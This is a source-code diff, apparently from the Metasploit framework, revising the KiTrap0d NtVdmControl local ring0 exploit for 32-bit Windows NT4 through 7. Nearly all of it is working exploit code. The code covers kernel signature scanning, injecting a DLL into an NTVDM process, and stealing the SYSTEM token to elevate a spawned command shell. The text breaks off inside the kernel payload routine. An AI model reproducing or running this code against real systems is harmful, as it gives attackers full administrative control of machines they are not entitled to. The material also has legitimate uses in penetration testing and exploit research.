diff --git a/data/exploits/kitrap0d/vdmallowed.exe b/data/exploits/kitrap0d/vdmallowed.exe index abfc7959d1..2f0cc94014 100644 Binary files a/data/exploits/kitrap0d/vdmallowed.exe and b/data/exploits/kitrap0d/vdmallowed.exe differ diff --git a/data/exploits/kitrap0d/vdmexploit.dll b/data/exploits/kitrap0d/vdmexploit.dll index 40fe5113c0..8423d61220 100644 Binary files a/data/exploits/kitrap0d/vdmexploit.dll and b/data/exploits/kitrap0d/vdmexploit.dll differ diff --git a/external/source/kitrap0d/vdmallowed.c b/external/source/kitrap0d/vdmallowed.c index 46ab4315b3..e6bf5c2e5d 100644 --- a/external/source/kitrap0d/vdmallowed.c +++ b/external/source/kitrap0d/vdmallowed.c @@ -46,7 +46,9 @@ // Long-term, this will be reimplemented as an additional vector in the priv // extension. // -// - hdm[at]metasploit.com 2010/01/19 +// This code now uses twunk_16.exe instead of debug.exe for compatibility. +// +// - hdm[at]metasploit.com 2010/01/25 // @@ -73,32 +75,32 @@ enum { SystemModuleInformation = 11 }; typedef struct { - ULONG Unknown1; - ULONG Unknown2; - PVOID Base; - ULONG Size; - ULONG Flags; - USHORT Index; - USHORT NameLength; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; + ULONG Unknown1; + ULONG Unknown2; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT NameLength; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { - ULONG Count; - SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; + ULONG Count; + SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; // These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q' static CONST UCHAR CodeSignatures[][16] = { - { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP - { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7 + { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4 + { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000 + { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP + { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003 + { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista + { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008 + { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7 }; // Log levels. @@ -112,358 +114,358 @@ BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase); int main(int argc, char **argv) { - HANDLE VdmHandle; - HANDLE RemoteThread; - DWORD ShellPid = 0; + HANDLE VdmHandle; + HANDLE RemoteThread; + DWORD ShellPid = 0; DWORD KillPid = 0; - DWORD ThreadCode; - DWORD KernelBase; + DWORD ThreadCode; + DWORD KernelBase; TCHAR VDMPath[_MAX_PATH]; TCHAR CMDPath[_MAX_PATH]; - CHAR Buf[32]; - DWORD Offset; + CHAR Buf[32]; + DWORD Offset; if(argc > 1) - ShellPid = atoi(argv[1]); + ShellPid = atoi(argv[1]); - LogMessage(L_INFO, - "\r" - "--------------------------------------------------\n" - "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n" - "-------------------------------------------- taviso@sdf.lonestar.org ---\n" - "\n" - ); + LogMessage(L_INFO, + "\r" + "--------------------------------------------------\n" + "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n" + "-------------------------------------------- taviso@sdf.lonestar.org ---\n" + "\n" + ); - GetSystemDirectory(VDMPath, 1024); - _tcscat_s(VDMPath, _MAX_PATH, _T("\\debug.exe")); + GetWindowsDirectory(VDMPath, 1024); + _tcscat_s(VDMPath, _MAX_PATH, _T("\\twunk_16.exe")); GetSystemDirectory(CMDPath, 1024); - _tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe")); + _tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe")); - if(! ShellPid) { - // Spawn the process to be elevated to SYSTEM. - LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)"); + if(! ShellPid) { + // Spawn the process to be elevated to SYSTEM. + LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)"); - if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) { - LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure"); - goto finished; - } + if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) { + LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure"); + goto finished; + } } - // Scan kernel image for the required code sequence, and find the base address. - if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) { - LogMessage(L_ERROR, "ScanForCodeSignature() returned failure"); - goto finished; - } + // Scan kernel image for the required code sequence, and find the base address. + if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) { + LogMessage(L_ERROR, "ScanForCodeSignature() returned failure"); + goto finished; + } - // Pass the parameters required by exploit thread to NTVDM. - SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf)); - SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf)); - SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf)); + // Pass the parameters required by exploit thread to NTVDM. + SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf)); + SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf)); + SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf)); - // Invoke the NTVDM subsystem, by launching any MS-DOS executable. - LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable"); + // Invoke the NTVDM subsystem, by launching any MS-DOS executable. + LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable"); - if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) { - LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure"); - goto finished; - } + if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) { + LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure"); + goto finished; + } - // Start the exploit thread in the NTVDM process. - LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle); + // Start the exploit thread in the NTVDM process. + LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle); - if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) { - LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure"); - goto finished; - } + if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) { + LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure"); + goto finished; + } - // Wait for the thread to complete - LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread); + // Wait for the thread to complete + LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread); - WaitForSingleObject(RemoteThread, INFINITE); + WaitForSingleObject(RemoteThread, INFINITE); - // I pass some information back via the exit code to indicate what happened. - GetExitCodeThread(RemoteThread, &ThreadCode); + // I pass some information back via the exit code to indicate what happened. + GetExitCodeThread(RemoteThread, &ThreadCode); - LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode); + LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode); - switch (ThreadCode) { - case 'VTIB': - // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that - // matches what the kernel expects. - // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. - LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure"); - break; - case 'NTAV': - // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() - // expects to be present. - // The exploit thread reports it didn't work. - LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space"); - break; - case 'VDMC': - // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. - // It's entirely undocumented, so you'll have to use kd to step through it and find out why - // it's failing. - LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed"); - break; - case 'LPID': - // This exploit will try to transplant the token from PsInitialSystemProcess on to an - // unprivileged process owned by you. - // PsLookupProcessByProcessId() failed when trying to find your process. - LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed"); - break; - case FALSE: - // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? - // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. - LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll"); - break; - case 'w00t': - // This means the exploit payload was executed at ring0 and succeeded. - LogMessage(L_INFO, "The exploit thread reports exploitation was successful"); + switch (ThreadCode) { + case 'VTIB': + // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that + // matches what the kernel expects. + // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. + LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure"); + break; + case 'NTAV': + // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() + // expects to be present. + // The exploit thread reports it didn't work. + LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space"); + break; + case 'VDMC': + // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. + // It's entirely undocumented, so you'll have to use kd to step through it and find out why + // it's failing. + LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed"); + break; + case 'LPID': + // This exploit will try to transplant the token from PsInitialSystemProcess on to an + // unprivileged process owned by you. + // PsLookupProcessByProcessId() failed when trying to find your process. + LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed"); + break; + case FALSE: + // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? + // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. + LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll"); + break; + case 'w00t': + // This means the exploit payload was executed at ring0 and succeeded. + LogMessage(L_INFO, "The exploit thread reports exploitation was successful"); if(! KillPid) - LogMessage(L_INFO, "w00t! You can now use the shell opened earlier"); - break; - default: - // Unknown error. Sorry, you're on your own. - LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode); - break; - } + LogMessage(L_INFO, "w00t! You can now use the shell opened earlier"); + break; + default: + // Unknown error. Sorry, you're on your own. + LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode); + break; + } - TerminateProcess(VdmHandle, 0); - CloseHandle(VdmHandle); - CloseHandle(RemoteThread); + TerminateProcess(VdmHandle, 0); + CloseHandle(VdmHandle); + CloseHandle(RemoteThread); if(KillPid) { - LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid); - VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid ); - if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) { - TerminateProcess(VdmHandle, 0); - } + LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid); + VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid ); + if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) { + TerminateProcess(VdmHandle, 0); + } } finished: - return 0; + return 0; } // Start a process to give SYSTEM token to. static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId) { - PROCESS_INFORMATION pi; - STARTUPINFO si; + PROCESS_INFORMATION pi; + STARTUPINFO si; - ZeroMemory(&pi, sizeof(pi)); - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); - if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) { - LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError()); - return FALSE; - } + if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) { + LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError()); + return FALSE; + } - LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); + LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); - *ProcessId = pi.dwProcessId; - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; + *ProcessId = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; } // Grab a useful Handle to NTVDM. static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle) { - PROCESS_INFORMATION pi = {0}; - STARTUPINFO si = { sizeof si }; - ULONG i; + PROCESS_INFORMATION pi = {0}; + STARTUPINFO si = { sizeof si }; + ULONG i; - // Start the child process, which should invoke NTVDM. - if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) { - LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError()); - return FALSE; - } + // Start the child process, which should invoke NTVDM. + if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) { + LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError()); + return FALSE; + } - LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); + LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); - // Get more access - if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD - | PROCESS_QUERY_INFORMATION - | PROCESS_VM_OPERATION - | PROCESS_VM_WRITE - | PROCESS_VM_READ - | PROCESS_TERMINATE, - FALSE, - pi.dwProcessId)) == NULL) { - LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError()); - TerminateProcess(pi.hProcess, 'SPWN'); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return FALSE; - } + // Get more access + if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD + | PROCESS_QUERY_INFORMATION + | PROCESS_VM_OPERATION + | PROCESS_VM_WRITE + | PROCESS_VM_READ + | PROCESS_TERMINATE, + FALSE, + pi.dwProcessId)) == NULL) { + LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError()); + TerminateProcess(pi.hProcess, 'SPWN'); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return FALSE; + } - LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle); + LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; } // Use the DLL Injection technique to access the NTVDM process. // http://en.wikipedia.org/wiki/DLL_injection static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread) { - PVOID RemotePage; - LPTHREAD_START_ROUTINE StartRoutine; + PVOID RemotePage; + LPTHREAD_START_ROUTINE StartRoutine; - assert(ProcessHandle != INVALID_HANDLE_VALUE); - assert(DllPath); - assert(RemoteThread); + assert(ProcessHandle != INVALID_HANDLE_VALUE); + assert(DllPath); + assert(RemoteThread); - // Allocate a page in the child process - if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) { - LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError()); - return FALSE; - } + // Allocate a page in the child process + if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) { + LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError()); + return FALSE; + } - // Write in the name of my DLL (note, memory is already zeroed) - if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) { - LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError()); - return FALSE; - } + // Write in the name of my DLL (note, memory is already zeroed) + if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) { + LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError()); + return FALSE; + } - LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);", - ProcessHandle, - RemotePage, - DllPath, - strlen(DllPath)); + LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);", + ProcessHandle, + RemotePage, + DllPath, + strlen(DllPath)); - // Execute it in child process, loading the specified library - *RemoteThread = CreateRemoteThread(ProcessHandle, - NULL, - 0, - (LPTHREAD_START_ROUTINE) - GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"), - RemotePage, - 0, - NULL); + // Execute it in child process, loading the specified library + *RemoteThread = CreateRemoteThread(ProcessHandle, + NULL, + 0, + (LPTHREAD_START_ROUTINE) + GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"), + RemotePage, + 0, + NULL); CloseHandle(ProcessHandle); - return *RemoteThread != NULL; + return *RemoteThread != NULL; } // Scan the appropriate kernel image for the correct offset BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase) { - FARPROC NtQuerySystemInformation; - HMODULE KernelHandle; - PIMAGE_DOS_HEADER DosHeader; - PIMAGE_NT_HEADERS PeHeader; - PIMAGE_OPTIONAL_HEADER OptHeader; - OSVERSIONINFO osvi = { sizeof osvi }; - PBYTE ImageBase; - DWORD PhysicalAddressExtensions, DataSize; - ULONG i; - HKEY MmHandle; - SYSTEM_MODULE_INFORMATION ModuleInfo = {0}; + FARPROC NtQuerySystemInformation; + HMODULE KernelHandle; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS PeHeader; + PIMAGE_OPTIONAL_HEADER OptHeader; + OSVERSIONINFO osvi = { sizeof osvi }; + PBYTE ImageBase; + DWORD PhysicalAddressExtensions, DataSize; + ULONG i; + HKEY MmHandle; + SYSTEM_MODULE_INFORMATION ModuleInfo = {0}; - // List of versions I have code signatures for. - enum { - MICROSOFT_WINDOWS_NT4 = 0, - MICROSOFT_WINDOWS_2000 = 1, - MICROSOFT_WINDOWS_XP = 2, - MICROSOFT_WINDOWS_2003 = 3, - MICROSOFT_WINDOWS_VISTA = 4, - MICROSOFT_WINDOWS_2008 = 5, - MICROSOFT_WINDOWS_7 = 6, - } Version = MICROSOFT_WINDOWS_7; + // List of versions I have code signatures for. + enum { + MICROSOFT_WINDOWS_NT4 = 0, + MICROSOFT_WINDOWS_2000 = 1, + MICROSOFT_WINDOWS_XP = 2, + MICROSOFT_WINDOWS_2003 = 3, + MICROSOFT_WINDOWS_VISTA = 4, + MICROSOFT_WINDOWS_2008 = 5, + MICROSOFT_WINDOWS_7 = 6, + } Version = MICROSOFT_WINDOWS_7; - // NtQuerySystemInformation can be used to find kernel base address - NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation"); + // NtQuerySystemInformation can be used to find kernel base address + NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation"); - // Determine kernel version so that the correct code signature is used - GetVersionEx(&osvi); + // Determine kernel version so that the correct code signature is used + GetVersionEx(&osvi); - LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion); + LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion); - if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_NT4; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_2000; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1) - Version = MICROSOFT_WINDOWS_XP; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2) - Version = MICROSOFT_WINDOWS_2003; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_VISTA; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_2008; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) - Version = MICROSOFT_WINDOWS_7; + if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) + Version = MICROSOFT_WINDOWS_NT4; + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) + Version = MICROSOFT_WINDOWS_2000; + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1) + Version = MICROSOFT_WINDOWS_XP; + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2) + Version = MICROSOFT_WINDOWS_2003; + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) + Version = MICROSOFT_WINDOWS_VISTA; + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) + Version = MICROSOFT_WINDOWS_2008; + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) + Version = MICROSOFT_WINDOWS_7; - // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address - NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); + // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address + NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); - LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p", - ModuleInfo.Module[0].ImageName, - ModuleInfo.Module[0].Base); + LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p", + ModuleInfo.Module[0].ImageName, + ModuleInfo.Module[0].Base); - // Load the kernel image specified - if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) { - LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError()); - return FALSE; - } + // Load the kernel image specified + if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) { + LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError()); + return FALSE; + } - // Parse image headers - *KernelBase = (DWORD) ModuleInfo.Module[0].Base; - ImageBase = (PBYTE) KernelHandle; - DosHeader = (PIMAGE_DOS_HEADER)(ImageBase); - PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); - OptHeader = &PeHeader->OptionalHeader; + // Parse image headers + *KernelBase = (DWORD) ModuleInfo.Module[0].Base; + ImageBase = (PBYTE) KernelHandle; + DosHeader = (PIMAGE_DOS_HEADER)(ImageBase); + PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); + OptHeader = &PeHeader->OptionalHeader; - LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...", - osvi.dwMajorVersion, - osvi.dwMinorVersion, - CodeSignatures[Version][0], - CodeSignatures[Version][1]); + LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...", + osvi.dwMajorVersion, + osvi.dwMinorVersion, + CodeSignatures[Version][0], + CodeSignatures[Version][1]); - // Scan for the appropriate signature - for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) { - if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) { - LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i); + // Scan for the appropriate signature + for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) { + if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) { + LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i); - *OffsetFromBase = i; - FreeLibrary(KernelHandle); - return TRUE; - } - } + *OffsetFromBase = i; + FreeLibrary(KernelHandle); + return TRUE; + } + } - LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel"); + LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel"); - FreeLibrary(KernelHandle); + FreeLibrary(KernelHandle); - return FALSE; + return FALSE; } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { - CHAR Buffer[1024] = {0}; - va_list Args; + CHAR Buffer[1024] = {0}; + va_list Args; - va_start(Args, Format); - vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); - va_end(Args); + va_start(Args, Format); + vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); + va_end(Args); - switch (Level) { - case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; - case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; - case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; - case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; - } + switch (Level) { + case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; + case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; + case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; + case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; + } - fflush(stdout); - fflush(stderr); + fflush(stdout); + fflush(stderr); - return TRUE; + return TRUE; } diff --git a/external/source/kitrap0d/vdmexploit.c b/external/source/kitrap0d/vdmexploit.c index afb0d34394..714755b291 100644 --- a/external/source/kitrap0d/vdmexploit.c +++ b/external/source/kitrap0d/vdmexploit.c @@ -12,11 +12,6 @@ // This file contains the exploit payload and VDM Subsystem control routines. // -// This file has been modified from the original: -// * The CurrentThread is now much more precise thanks to research/code from Pusscat -// * The Sleep(1000) call before triggering the bug avoids a rare race condition in thread initialization -// * The ZwTerminateProcess path has been updated to flip back to the kernel stack first - #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h #endif @@ -80,64 +75,64 @@ BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL); BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD); DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2 - 0xA // Windows 7, VistaSP1 - }; +0xA // Windows 7, VistaSP1 +}; // This routine is where I land after successfully triggering the vulnerability. VOID FirstStage() { - FARPROC DbgPrint; - FARPROC PsGetCurrentThread; - FARPROC PsGetCurrentProcessId; - FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; - FARPROC PsLookupProcessByProcessId; - FARPROC PsReferencePrimaryToken; - FARPROC ZwTerminateProcess; - PVOID CurrentProcess; - PVOID CurrentThread; - PVOID TargetProcess, *PsInitialSystemProcess; - DWORD StackBase, StackLimit, NewStack; - DWORD i; - LIST_ENTRY *ThreadListHead; - HANDLE pid; - DWORD pret; + FARPROC DbgPrint; + FARPROC PsGetCurrentThread; + FARPROC PsGetCurrentProcessId; + FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; + FARPROC PsLookupProcessByProcessId; + FARPROC PsReferencePrimaryToken; + FARPROC ZwTerminateProcess; + PVOID CurrentProcess; + PVOID CurrentThread; + PVOID TargetProcess, *PsInitialSystemProcess; + DWORD StackBase, StackLimit, NewStack; + DWORD i; + LIST_ENTRY *ThreadListHead; + HANDLE pid; + HANDLE pret; - // Keep interrupts off until I've repaired my KTHREAD. - __asm cli + // Keep interrupts off until I've repaired my KTHREAD. + __asm cli - // Resolve some routines I need from the kernel export directory - DbgPrint = KernelGetProcByName("DbgPrint"); - PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); - PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId"); - 